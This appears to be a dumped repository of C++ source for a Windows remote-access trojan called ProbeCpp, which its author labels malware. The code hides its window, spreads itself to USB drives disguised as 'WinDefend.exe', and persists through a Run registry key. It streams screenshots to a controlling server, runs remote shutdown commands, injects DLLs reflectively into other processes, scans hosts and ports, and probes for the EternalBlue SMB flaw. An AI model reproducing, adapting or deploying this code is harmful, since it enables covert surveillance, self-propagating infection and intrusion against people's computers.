((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress, uiBaseAddress ); 95 | 96 | // get the File Offset for the array of name pointers 97 | uiNameArray = uiBaseAddress + Rva2Offset( ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames, uiBaseAddress ); 98 | 99 | // get the File Offset for the array of addresses 100 | uiAddressArray = uiBaseAddress + Rva2Offset( ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions, uiBaseAddress ); 101 | 102 | // get the File Offset for the array of name ordinals 103 | uiNameOrdinals = uiBaseAddress + Rva2Offset( ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals, uiBaseAddress ); 104 | 105 | // get a counter for the number of exported functions... 106 | dwCounter = ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->NumberOfNames; 107 | 108 | // loop through all the exported functions to find the ReflectiveLoader 109 | while( dwCounter-- ) 110 | { 111 | char * cpExportedFunctionName = (char *)(uiBaseAddress + Rva2Offset( DEREF_32( uiNameArray ), uiBaseAddress )); 112 | 113 | if( strstr( cpExportedFunctionName, "ReflectiveLoader" ) != NULL ) 114 | { 115 | // get the File Offset for the array of addresses 116 | uiAddressArray = uiBaseAddress + Rva2Offset( ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions, uiBaseAddress ); 117 | 118 | // use the functions name ordinal as an index into the array of name pointers 119 | uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) ); 120 | 121 | // return the File Offset to the ReflectiveLoader() functions code... 122 | return Rva2Offset( DEREF_32( uiAddressArray ), uiBaseAddress ); 123 | } 124 | // get the next exported function name 125 | uiNameArray += sizeof(DWORD); 126 | 127 | // get the next exported function name ordinal 128 | uiNameOrdinals += sizeof(WORD); 129 | } 130 | 131 | return 0; 132 | } 133 | //===============================================================================================// 134 | // Loads a DLL image from memory via its exported ReflectiveLoader function 135 | HMODULE WINAPI LoadLibraryR( LPVOID lpBuffer, DWORD dwLength ) 136 | { 137 | HMODULE hResult = NULL; 138 | DWORD dwReflectiveLoaderOffset = 0; 139 | DWORD dwOldProtect1 = 0; 140 | DWORD dwOldProtect2 = 0; 141 | REFLECTIVELOADER pReflectiveLoader = NULL; 142 | DLLMAIN pDllMain = NULL; 143 | 144 | if( lpBuffer == NULL || dwLength == 0 ) 145 | return NULL; 146 | 147 | __try 148 | { 149 | // check if the library has a ReflectiveLoader... 150 | dwReflectiveLoaderOffset = GetReflectiveLoaderOffset( lpBuffer ); 151 | if( dwReflectiveLoaderOffset != 0 ) 152 | { 153 | pReflectiveLoader = (REFLECTIVELOADER)((UINT_PTR)lpBuffer + dwReflectiveLoaderOffset); 154 | 155 | // we must VirtualProtect the buffer to RWX so we can execute the ReflectiveLoader... 156 | // this assumes lpBuffer is the base address of the region of pages and dwLength the size of the region 157 | if( VirtualProtect( lpBuffer, dwLength, PAGE_EXECUTE_READWRITE, &dwOldProtect1 ) ) 158 | { 159 | // call the librarys ReflectiveLoader... 160 | pDllMain = (DLLMAIN)pReflectiveLoader(); 161 | if( pDllMain != NULL ) 162 | { 163 | // call the loaded librarys DllMain to get its HMODULE 164 | if( !pDllMain( NULL, DLL_QUERY_HMODULE, &hResult ) ) 165 | hResult = NULL; 166 | } 167 | // revert to the previous protection flags... 168 | VirtualProtect( lpBuffer, dwLength, dwOldProtect1, &dwOldProtect2 ); 169 | } 170 | } 171 | } 172 | __except( EXCEPTION_EXECUTE_HANDLER ) 173 | { 174 | hResult = NULL; 175 | } 176 | 177 | return hResult; 178 | } 179 | //===============================================================================================// 180 | // Loads a PE image from memory into the address space of a host process via the image's exported ReflectiveLoader function 181 | // Note: You must compile whatever you are injecting with REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR 182 | // defined in order to use the correct RDI prototypes. 183 | // Note: The hProcess handle must have these access rights: PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | 184 | // PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ 185 | // Note: If you are passing in an lpParameter value, if it is a pointer, remember it is for a different address space. 186 | // Note: This function currently cant inject accross architectures, but only to architectures which are the 187 | // same as the arch this function is compiled as, e.g. x86->x86 and x64->x64 but not x64->x86 or x86->x64. 188 | HANDLE WINAPI LoadRemoteLibraryR( HANDLE hProcess, LPVOID lpBuffer, DWORD dwLength, LPVOID lpParameter ) 189 | { 190 | BOOL bSuccess = FALSE; 191 | LPVOID lpRemoteLibraryBuffer = NULL; 192 | LPTHREAD_START_ROUTINE lpReflectiveLoader = NULL; 193 | HANDLE hThread = NULL; 194 | DWORD dwReflectiveLoaderOffset = 0; 195 | DWORD dwThreadId = 0; 196 | 197 | __try 198 | { 199 | do 200 | { 201 | if( !hProcess || !lpBuffer || !dwLength ) 202 | break; 203 | 204 | // check if the library has a ReflectiveLoader... 205 | dwReflectiveLoaderOffset = GetReflectiveLoaderOffset( lpBuffer ); 206 | if( !dwReflectiveLoaderOffset ) 207 | break; 208 | 209 | // alloc memory (RWX) in the host process for the image... 210 | lpRemoteLibraryBuffer = VirtualAllocEx( hProcess, NULL, dwLength, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE ); 211 | if( !lpRemoteLibraryBuffer ) 212 | break; 213 | 214 | // write the image into the host process... 215 | if( !WriteProcessMemory( hProcess, lpRemoteLibraryBuffer, lpBuffer, dwLength, NULL ) ) 216 | break; 217 | 218 | // add the offset to ReflectiveLoader() to the remote library address... 219 | lpReflectiveLoader = (LPTHREAD_START_ROUTINE)( (ULONG_PTR)lpRemoteLibraryBuffer + dwReflectiveLoaderOffset ); 220 | 221 | // create a remote thread in the host process to call the ReflectiveLoader! 222 | hThread = CreateRemoteThread( hProcess, NULL, 1024*1024, lpReflectiveLoader, lpParameter, (DWORD)NULL, &dwThreadId ); 223 | 224 | } while( 0 ); 225 | 226 | } 227 | __except( EXCEPTION_EXECUTE_HANDLER ) 228 | { 229 | hThread = NULL; 230 | } 231 | 232 | return hThread; 233 | } 234 | //===============================================================================================// -------------------------------------------------------------------------------- /ProbeCpp/LoadLibraryR.h: -------------------------------------------------------------------------------- 1 | //===============================================================================================// 2 | // Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com) 3 | // All rights reserved. 4 | // 5 | // Redistribution and use in source and binary forms, with or without modification, are permitted 6 | // provided that the following conditions are met: 7 | // 8 | // * Redistributions of source code must retain the above copyright notice, this list of 9 | // conditions and the following disclaimer. 10 | // 11 | // * Redistributions in binary form must reproduce the above copyright notice, this list of 12 | // conditions and the following disclaimer in the documentation and/or other materials provided 13 | // with the distribution. 14 | // 15 | // * Neither the name of Harmony Security nor the names of its contributors may be used to 16 | // endorse or promote products derived from this software without specific prior written permission. 17 | // 18 | // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR 19 | // IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND 20 | // FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR 21 | // CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR 22 | // CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 23 | // SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY 24 | // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR 25 | // OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE 26 | // POSSIBILITY OF SUCH DAMAGE. 27 | //===============================================================================================// 28 | #ifndef _REFLECTIVEDLLINJECTION_LOADLIBRARYR_H 29 | #define _REFLECTIVEDLLINJECTION_LOADLIBRARYR_H 30 | //===============================================================================================// 31 | #include "ReflectiveDLLInjection.h" 32 | #ifdef __MINGW32__ 33 | #define __try 34 | #define __except(x) if(0) 35 | #endif 36 | 37 | DWORD GetReflectiveLoaderOffset( VOID * lpReflectiveDllBuffer ); 38 | 39 | HMODULE WINAPI LoadLibraryR( LPVOID lpBuffer, DWORD dwLength ); 40 | 41 | HANDLE WINAPI LoadRemoteLibraryR( HANDLE hProcess, LPVOID lpBuffer, DWORD dwLength, LPVOID lpParameter ); 42 | 43 | //===============================================================================================// 44 | #endif 45 | //===============================================================================================// -------------------------------------------------------------------------------- /ProbeCpp/Main.cpp: -------------------------------------------------------------------------------- 1 | /* 2 | 3 | Source code of the last malware I am ever going to write. 4 | 5 | */ 6 | 7 | #pragma comment(linker, "/SUBSYSTEM:windows /ENTRY:mainCRTStartup") 8 | 9 | #include "probe.h" 10 | 11 | 12 | 13 | int main() 14 | { 15 | ShowWindow(GetConsoleWindow(), SW_HIDE); // ^_^ 16 | 17 | HANDLE ht = CreateThread(NULL, 0, USBINFECT, NULL, 0, NULL); // Create Usb Infection thread 18 | if (ht == NULL) 19 | { 20 | exit(1); 21 | } 22 | 23 | ProbeConnect(); 24 | 25 | return 0; 26 | } 27 | -------------------------------------------------------------------------------- /ProbeCpp/Network.cpp: -------------------------------------------------------------------------------- 1 | 2 | 3 | #include "probe.h" 4 | 5 | unsigned char SmbNegociate[] = 6 | "\x00\x00\x00\x85\xff\x53\x4d\x42\x72\x00\x00\x00\x00\x18\x53\xc0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xfe\x00\x00\x40\x00\x00" 7 | "\x62\x00\x02\x50\x43\x20\x4e\x45\x54\x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31\x2e\x30\x00\x02\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00" 8 | "\x02\x57\x69\x6e\x64\x6f\x77\x73\x20\x66\x6f\x72\x20\x57\x6f\x72\x6b\x67\x72\x6f\x75\x70\x73\x20\x33\x2e\x31\x61\x00\x02\x4c\x4d\x31\x2e\x32\x58\x30" 9 | "\x30\x32\x00\x02\x4c\x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00\x02\x4e\x54\x20\x4c\x4d\x20\x30\x2e\x31\x32\x00"; 10 | 11 | unsigned char Session_Setup_AndX_Request[] = 12 | "\x00\x00\x00\x88\xff\x53\x4d\x42\x73\x00\x00\x00\x00\x18\x07\xc0\x00\x00" 13 | "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xfe\x00\x00\x40\x00" 14 | "\x0d\xff\x00\x88\x00\x04\x11\x0a\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00" 15 | "\x00\x00\x00\x00\x00\xd4\x00\x00\x00\x4b\x00\x00\x00\x00\x00\x00\x57\x00" 16 | "\x69\x00\x6e\x00\x64\x00\x6f\x00\x77\x00\x73\x00\x20\x00\x32\x00\x30\x00" 17 | "\x30\x00\x30\x00\x20\x00\x32\x00\x31\x00\x39\x00\x35\x00\x00\x00\x57\x00" 18 | "\x69\x00\x6e\x00\x64\x00\x6f\x00\x77\x00\x73\x00\x20\x00\x32\x00\x30\x00" 19 | "\x30\x00\x30\x00\x20\x00\x35\x00\x2e\x00\x30\x00\x00\x00"; 20 | 21 | unsigned char treeConnectRequest[] = 22 | "\x00\x00\x00\x60\xff\x53\x4d\x42\x75\x00\x00\x00\x00\x18\x07\xc0" 23 | "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xfe" 24 | "\x00\x08\x40\x00\x04\xff\x00\x60\x00\x08\x00\x01\x00\x35\x00\x00" 25 | "\x5c\x00\x5c\x00\x31\x00\x39\x00\x32\x00\x2e\x00\x31\x00\x36\x00" 26 | "\x38\x00\x2e\x00\x31\x00\x37\x00\x35\x00\x2e\x00\x31\x00\x32\x00" 27 | "\x38\x00\x5c\x00\x49\x00\x50\x00\x43\x00\x24\x00\x00\x00\x3f\x3f\x3f\x3f\x3f\x00"; 28 | 29 | unsigned char transNamedPipeRequest[] = 30 | "\x00\x00\x00\x4a\xff\x53\x4d\x42\x25\x00\x00\x00\x00\x18\x01\x28\x00" 31 | "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\x8e\xa3\x01\x08" 32 | "\x52\x98\x10\x00\x00\x00\x00\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00" 33 | "\x00\x00\x00\x00\x00\x00\x4a\x00\x00\x00\x4a\x00\x02\x00\x23\x00\x00" 34 | "\x00\x07\x00\x5c\x50\x49\x50\x45\x5c\x00"; 35 | 36 | unsigned char recvbuff[2048]; 37 | 38 | const char* IP2Host(const char* IP) 39 | { 40 | struct in_addr destip; 41 | struct hostent* info; 42 | 43 | destip.s_addr = inet_addr(IP); 44 | info = gethostbyaddr((char*)&destip, sizeof(destip), AF_INET); 45 | if (info == NULL) 46 | { 47 | return "NULL"; 48 | } 49 | else { 50 | return info->h_name; 51 | } 52 | } 53 | 54 | void CheckHost(const char* ip_address) 55 | { 56 | DWORD ret; 57 | IPAddr srcip = 0; 58 | ULONG MacAddr[2]; 59 | ULONG PhyAddrLen = 6; 60 | unsigned char mac[6]; 61 | struct in_addr destip; 62 | destip.s_addr = inet_addr(ip_address); 63 | char MacAddress[200]; 64 | int i; 65 | memset(mac, '\0', 6); 66 | memset(MacAddress, '\0', 200); 67 | ret = SendARP((IPAddr)destip.S_un.S_addr, srcip, MacAddr, &PhyAddrLen); 68 | if (ret == NO_ERROR) 69 | { 70 | if (PhyAddrLen) 71 | { 72 | BYTE* bMacAddr = (BYTE*)&MacAddr; 73 | for (i = 0; i < (int)PhyAddrLen; i++) 74 | { 75 | mac[i] = (char)bMacAddr[i]; 76 | } 77 | 78 | snprintf(MacAddress, 200, "%.2X-%.2X-%.2X-%.2X-%.2X-%.2X", mac[0], mac[1], mac[2], mac[3], mac[4], mac[5]); 79 | // std::string Result = "[HOST]" + std::string(ip_address) + " - " + IP2Host(ip_address) + " - " + std::string(MacAddress); 80 | // send_data(Result); 81 | sockprintf("[HOST],%s,%s,%s", ip_address, IP2Host(ip_address), MacAddress); 82 | } 83 | else { 84 | // send_data("Warning: SendArp completed successfully, but returned 0. Failed to get MAC."); 85 | sockSend("Warning: SendArp completed successfully, but returned 0. Failed to get MAC."); 86 | } 87 | } 88 | else { 89 | // err_response << "Error Failed to get MAC : " << ip_address << "\n"; 90 | // send_data(err_response.str()); 91 | sockprintf("[HOSTERR]-Error Failed to get Mac : %s", ip_address); 92 | } 93 | } 94 | 95 | void checkPort(const char* ip, int port) 96 | { 97 | SOCKET connectsock; 98 | struct sockaddr_in hostx; 99 | connectsock = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, (unsigned int)NULL, (unsigned int)NULL); 100 | if (connectsock == SOCKET_ERROR || connectsock == INVALID_SOCKET) 101 | { 102 | sockprintf("F_ERRError creating socket %ld", WSAGetLastError()); 103 | } 104 | 105 | hostx.sin_addr.s_addr = inet_addr(ip); 106 | hostx.sin_port = htons(port); 107 | hostx.sin_family = AF_INET; 108 | 109 | int check = connect(connectsock, (struct sockaddr*)&hostx, sizeof(hostx)); 110 | if (check != SOCKET_ERROR) 111 | { 112 | sockprintf("OPENPORT:%s,%i", ip, port); 113 | closesocket(connectsock); 114 | 115 | } 116 | else { 117 | closesocket(connectsock); 118 | } 119 | 120 | } 121 | 122 | // Thanks to @bhassani 123 | // https://github.com/bhassani/EternalBlueC 124 | void EternalBlueScan(const char* host) 125 | { 126 | char output[BUFFER]; 127 | do { 128 | int len = 0; 129 | memset(output, '\0', BUFFER); 130 | struct sockaddr_in server; 131 | SOCKET sock; 132 | DWORD ret; 133 | sock = socket(AF_INET, SOCK_STREAM, 0); 134 | if (sock <= 0) 135 | { 136 | break; 137 | } 138 | server.sin_family = AF_INET; 139 | server.sin_addr.s_addr = inet_addr(host); 140 | server.sin_port = htons((USHORT)445); 141 | 142 | ret = connect(sock, (struct sockaddr*)&server, sizeof(server)); 143 | if (ret == -1) 144 | { 145 | len += snprintf(output + len, sizeof(output) - len, "!MS17!%s Connection Error, Port 445 Firewalled or unreachable.\n", host); 146 | break; 147 | } 148 | 149 | //send SMB negociate packet 150 | send(sock, (char*)SmbNegociate, sizeof(SmbNegociate) - 1, 0); 151 | recv(sock, (char*)recvbuff, sizeof(recvbuff), 0); 152 | 153 | //send Session Setup AndX request 154 | len += snprintf(output + len, sizeof(output) - len, "!MS17! Sending Session_Setup_AndX_Request!\n"); 155 | ret = send(sock, (char*)Session_Setup_AndX_Request, sizeof(Session_Setup_AndX_Request) - 1, 0); 156 | if (ret <= 0) 157 | { 158 | len += snprintf(output + len, sizeof(output) - len, "!MS17! Send Session_Setup_AndX_Request error!\n"); 159 | break; 160 | } 161 | recv(sock, (char*)recvbuff, sizeof(recvbuff), 0); 162 | 163 | char userid[2]; 164 | char treeid[2]; 165 | //copy userID from recvbuff @ 32,33 166 | userid[0] = recvbuff[32]; 167 | userid[1] = recvbuff[33]; 168 | 169 | //update userID in the tree connect request 170 | treeConnectRequest[32] = userid[0]; 171 | treeConnectRequest[33] = userid[1]; 172 | 173 | //send TreeConnect request 174 | len += snprintf(output + len, sizeof(output) - len, "!MS17! Sending TreeConnect Request!\n"); 175 | ret = send(sock, (char*)treeConnectRequest, sizeof(treeConnectRequest) - 1, 0); 176 | if (ret <= 0) 177 | { 178 | len += snprintf(output + len, sizeof(output) - len, "!MS17! Send TreeConnect_AndX_Request error!\n"); 179 | break; 180 | } 181 | recv(sock, (char*)recvbuff, sizeof(recvbuff), 0); 182 | 183 | //copy treeID from recvbuff @ 28, 29 184 | treeid[0] = recvbuff[28]; 185 | treeid[1] = recvbuff[29]; 186 | //update treeid & userid in the transNamedPipe Request 187 | transNamedPipeRequest[28] = treeid[0]; 188 | transNamedPipeRequest[29] = treeid[1]; 189 | transNamedPipeRequest[32] = userid[0]; 190 | transNamedPipeRequest[33] = userid[1]; 191 | 192 | //send transNamedPipe request 193 | len += snprintf(output + len, sizeof(output) - len, "!MS17! Sending transNamedPipeRequest!\n"); 194 | ret = send(sock, (char*)transNamedPipeRequest, sizeof(transNamedPipeRequest) - 1, 0); 195 | if (ret <= 0) 196 | { 197 | len += snprintf(output + len, sizeof(output) - len, "!MS17! Send modified transNamedPipeRequest error!\n"); 198 | break; 199 | } 200 | recv(sock, (char*)recvbuff, sizeof(recvbuff), 0); 201 | 202 | //compare the NT_STATUS response to 0xC0000205 ( STATUS_INSUFF_SERVER_RESOURCES) 203 | if (recvbuff[9] == 0x05 && recvbuff[10] == 0x02 && recvbuff[11] == 0x00 && recvbuff[12] == 0xc0) 204 | { 205 | len += snprintf(output + len, sizeof(output) - len, "!MS17! %s is vulnerable to MS17-010\n", host); 206 | } 207 | else { 208 | len += snprintf(output + len, sizeof(output) - len, "!MS17! %s is not vulnerable to MS17-010\n", host); 209 | } 210 | 211 | //cleanup 212 | closesocket(sock); 213 | } while (0); 214 | 215 | sockSend(output); 216 | } -------------------------------------------------------------------------------- /ProbeCpp/Other.cpp: -------------------------------------------------------------------------------- 1 | #include "probe.h" 2 | 3 | void TimeStamp(char buffer[100]) 4 | { 5 | time_t t = time(0); 6 | struct tm* now = localtime(&t); 7 | memset(buffer, '\0', 100); 8 | strftime(buffer, 100, "%Y-%m-%d-%S", now); 9 | } 10 | 11 | void poweroff(int code) 12 | { 13 | switch (code) 14 | { 15 | // poweroff 16 | case 0: 17 | ExecSock(0, (char*)"cmd.exe /c shutdown /s /t 0"); 18 | break; 19 | 20 | // log off 21 | case 1: 22 | ExecSock(0, (char*)"cmd.exe /c shutdown /l /t 0"); 23 | break; 24 | 25 | // Restart 26 | case 2: 27 | ExecSock(0, (char*)"cmd.exe /c shutdown /r /t 0"); 28 | break; 29 | 30 | default: 31 | break; 32 | } 33 | } 34 | 35 | int CaptureAnImage(HWND hWnd, SOCKET sockfd) 36 | { 37 | HDC hdcScreen; 38 | HDC hdcWindow; 39 | HDC hdcMemDC = NULL; 40 | HBITMAP hbmScreen = NULL; 41 | BITMAP bmpScreen; 42 | char buffer[100]; 43 | // Retrieve the handle to a display device context for the client 44 | // area of the window. 45 | hdcScreen = GetDC(NULL); 46 | hdcWindow = GetDC(hWnd); 47 | 48 | // Create a compatible DC which is used in a BitBlt from the window DC 49 | hdcMemDC = CreateCompatibleDC(hdcWindow); 50 | 51 | if (!hdcMemDC) 52 | { 53 | sockprintf("CreateCompatibleDC has failed Error %i", GetLastError()); 54 | //goto done; 55 | } 56 | 57 | // Get the client area for size calculation 58 | RECT rcClient; 59 | GetClientRect(hWnd, &rcClient); 60 | 61 | //This is the best stretch mode 62 | SetStretchBltMode(hdcWindow, HALFTONE); 63 | 64 | //The source DC is the entire screen and the destination DC is the current window (HWND) 65 | if (!StretchBlt(hdcWindow, 66 | 0, 0, 67 | rcClient.right, rcClient.bottom, 68 | hdcScreen, 69 | 0, 0, 70 | GetSystemMetrics(SM_CXSCREEN), 71 | GetSystemMetrics(SM_CYSCREEN), 72 | SRCCOPY)) 73 | { 74 | sockprintf("StretchBlt has failed Error %i", GetLastError()); 75 | //goto done; 76 | } 77 | 78 | // Create a compatible bitmap from the Window DC 79 | hbmScreen = CreateCompatibleBitmap(hdcWindow, rcClient.right - rcClient.left, rcClient.bottom - rcClient.top); 80 | 81 | if (!hbmScreen) 82 | { 83 | sockprintf("CreateCompatibleBitmap Failed Error %i", GetLastError()); 84 | //goto done; 85 | } 86 | 87 | // Select the compatible bitmap into the compatible memory DC. 88 | SelectObject(hdcMemDC, hbmScreen); 89 | 90 | // Bit block transfer into our compatible memory DC. 91 | if (!BitBlt(hdcMemDC, 92 | 0, 0, 93 | rcClient.right - rcClient.left, rcClient.bottom - rcClient.top, 94 | hdcWindow, 95 | 0, 0, 96 | SRCCOPY)) 97 | { 98 | sockprintf("BitBlt has failed Error %i", GetLastError()); 99 | //sgoto done; 100 | } 101 | 102 | // Get the BITMAP from the HBITMAP 103 | GetObject(hbmScreen, sizeof(BITMAP), &bmpScreen); 104 | 105 | BITMAPFILEHEADER bmfHeader; 106 | BITMAPINFOHEADER bi; 107 | 108 | bi.biSize = sizeof(BITMAPINFOHEADER); 109 | bi.biWidth = bmpScreen.bmWidth; 110 | bi.biHeight = bmpScreen.bmHeight; 111 | bi.biPlanes = 1; 112 | bi.biBitCount = 32; 113 | bi.biCompression = BI_RGB; 114 | bi.biSizeImage = 0; 115 | bi.biXPelsPerMeter = 0; 116 | bi.biYPelsPerMeter = 0; 117 | bi.biClrUsed = 0; 118 | bi.biClrImportant = 0; 119 | 120 | DWORD dwBmpSize = ((bmpScreen.bmWidth * bi.biBitCount + 31) / 32) * 4 * bmpScreen.bmHeight; 121 | 122 | // Starting with 32-bit Windows, GlobalAlloc and LocalAlloc are implemented as wrapper functions that 123 | // call HeapAlloc using a handle to the process's default heap. Therefore, GlobalAlloc and LocalAlloc 124 | // have greater overhead than HeapAlloc. 125 | HANDLE hDIB = GlobalAlloc(GHND, dwBmpSize); 126 | char* lpbitmap = (char*)GlobalLock(hDIB); 127 | 128 | // Gets the "bits" from the bitmap and copies them into a buffer 129 | // which is pointed to by lpbitmap. 130 | GetDIBits(hdcWindow, hbmScreen, 0, 131 | (UINT)bmpScreen.bmHeight, 132 | lpbitmap, 133 | (BITMAPINFO*)&bi, DIB_RGB_COLORS); 134 | 135 | // A file is created, this is where we will save the screen capture. 136 | /* HANDLE hFile = CreateFile(L"captureqwsx.bmp", 137 | GENERIC_WRITE, 138 | 0, 139 | NULL, 140 | CREATE_ALWAYS, 141 | FILE_ATTRIBUTE_NORMAL, NULL); 142 | */ 143 | // Add the size of the headers to the size of the bitmap to get the total file size 144 | DWORD dwSizeofDIB = dwBmpSize + sizeof(BITMAPFILEHEADER) + sizeof(BITMAPINFOHEADER); 145 | 146 | //Offset to where the actual bitmap bits start. 147 | bmfHeader.bfOffBits = (DWORD)sizeof(BITMAPFILEHEADER) + (DWORD)sizeof(BITMAPINFOHEADER); 148 | 149 | //Size of the file 150 | bmfHeader.bfSize = dwSizeofDIB; 151 | 152 | //bfType must always be BM for Bitmaps 153 | bmfHeader.bfType = 0x4D42; //BM 154 | 155 | TimeStamp(buffer); 156 | sockprintf("SCREENSHOT:%s.bmp:%i", buffer, sizeof(BITMAPFILEHEADER) + sizeof(BITMAPINFOHEADER) + dwBmpSize); 157 | Sleep(1000); 158 | DWORD dwBytesWritten = 0; 159 | WriteFile((HANDLE)sockfd, (LPSTR)&bmfHeader, sizeof(BITMAPFILEHEADER), &dwBytesWritten, NULL); 160 | WriteFile((HANDLE)sockfd, (LPSTR)&bi, sizeof(BITMAPINFOHEADER), &dwBytesWritten, NULL); 161 | WriteFile((HANDLE)sockfd, (LPSTR)lpbitmap, dwBmpSize, &dwBytesWritten, NULL); 162 | 163 | //Unlock and Free the DIB from the heap 164 | GlobalUnlock(hDIB); 165 | GlobalFree(hDIB); 166 | 167 | //Close the handle for the file that was created 168 | // CloseHandle(hFile); 169 | 170 | //Clean up 171 | done: 172 | if (hbmScreen) { 173 | DeleteObject(hbmScreen); 174 | } 175 | 176 | if (hdcMemDC) { 177 | DeleteObject(hdcMemDC); 178 | } 179 | 180 | ReleaseDC(NULL, hdcScreen); 181 | ReleaseDC(hWnd, hdcWindow); 182 | 183 | return 0; 184 | } 185 | 186 | 187 | char* appDataPath() 188 | { 189 | static char szPath[MAX_PATH]; 190 | if (SUCCEEDED(SHGetFolderPath(NULL, CSIDL_APPDATA | CSIDL_FLAG_CREATE, NULL, 0, szPath))) { 191 | return szPath; 192 | } 193 | else { 194 | return (char*)"C:\\Users\\Public"; // If We are unable to get the AppData/Romaing path, Use Public $HOME folder for installation 195 | } 196 | } 197 | 198 | 199 | 200 | void StartupKey(const char* INSTALL_FOLDER_NAME, const char* czExePath) 201 | { 202 | HKEY hKey; 203 | LONG lnRes = RegOpenKeyEx(HKEY_CURRENT_USER, 204 | "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", 205 | 0, KEY_WRITE, 206 | &hKey); 207 | if (ERROR_SUCCESS == lnRes) 208 | { 209 | lnRes = RegSetValueEx(hKey, 210 | INSTALL_FOLDER_NAME, 211 | 0, 212 | REG_SZ, 213 | (const BYTE*)czExePath, 214 | strlen(czExePath)); 215 | } 216 | 217 | RegCloseKey(hKey); 218 | sockprintf("F_ERRAdded Startup key for '%s' with name '%s'.", czExePath, INSTALL_FOLDER_NAME); 219 | } 220 | 221 | 222 | DWORD WINAPI USBINFECT(LPVOID lpParameter) { 223 | BOOL USB_THREAD = GetUSBThreadStatus(); 224 | if (USB_THREAD) 225 | { 226 | while (true) 227 | { 228 | Sleep(3000); 229 | for (char i = 'A'; i <= 'Z'; i++) { 230 | std::string path; 231 | path.push_back(i); 232 | path += ":\\"; 233 | 234 | if (GetDriveTypeA(path.c_str()) == DRIVE_REMOVABLE) { 235 | path += "WinDefend.exe"; 236 | if (!isFile(path.c_str())) { 237 | CopyFileA(MyLocation().c_str(), path.c_str(), FALSE); 238 | break; 239 | } 240 | } 241 | } 242 | } 243 | } 244 | 245 | } -------------------------------------------------------------------------------- /ProbeCpp/Probe.h: -------------------------------------------------------------------------------- 1 | #define NOMINMAX 2 | 3 | #ifndef PROBE_H 4 | #define PROBE_H 5 | 6 | #include "LoadLibraryR.h" 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include 15 | #include 16 | #include 17 | #include 18 | #include 19 | #include 20 | #include 21 | #include 22 | #include 23 | 24 | 25 | #pragma comment(lib, "ws2_32.lib") 26 | #pragma comment(lib, "iphlpapi.lib") 27 | #pragma comment(lib, "advapi32.lib") 28 | #pragma comment(lib, "wininet.lib") 29 | #pragma comment(lib, "shlwapi.lib") 30 | #pragma comment(lib, "winmm.lib") 31 | 32 | #define BUFFER 4096 33 | #define NTSTATUS LONG 34 | #define UNLEN 256 35 | 36 | #define MESSAGE "Hey there! I see you are reverse engineering! :D" 37 | /* 38 | #define SERVER_HOST "192.168.1.106" 39 | #define SERVER_PORT 1234 40 | */ 41 | 42 | static BOOL connected = FALSE; 43 | 44 | DWORD WINAPI USBINFECT(LPVOID lpParameter); 45 | void ListDir(); 46 | void ProbeConnect(void); 47 | int CaptureAnImage(HWND hWnd, SOCKET sockfd); 48 | BOOL GetUSBThreadStatus(); 49 | void TimeStamp(char buffer[100]); 50 | void poweroff(int code); 51 | void sockprintf(const char* words, ...); 52 | void sockSend(const char* data); 53 | void ExecSock(SOCKET sockfd, char recvbuf[BUFFER]); 54 | void RHPMain(void); 55 | void OS(void); 56 | char* cDir(); 57 | void REConnect(void); 58 | void StartWSA(void); 59 | std::string MyLocation(); 60 | std::istream& ignoreline(std::ifstream& in, std::ifstream::pos_type& pos); 61 | std::string GetServerInfo(); 62 | std::string getLastLine(std::ifstream& in); 63 | BOOL isFile(const char* file); 64 | DWORD ProcessId(LPCTSTR ProcessName); 65 | void split(char* src, char* dest[5], const char* delimeter); 66 | const char* IP2Host(const char* IP); 67 | void CheckHost(const char* ip_address); 68 | char* appDataPath(); 69 | void StartupKey(const char* INSTALL_FOLDER_NAME, const char* czExePath); 70 | void checkPort(const char* ip, int port); 71 | void EternalBlueScan(const char* host); 72 | 73 | #endif -------------------------------------------------------------------------------- /ProbeCpp/ProbeCpp.sln: -------------------------------------------------------------------------------- 1 |  2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Version 16 4 | VisualStudioVersion = 16.0.30523.141 5 | MinimumVisualStudioVersion = 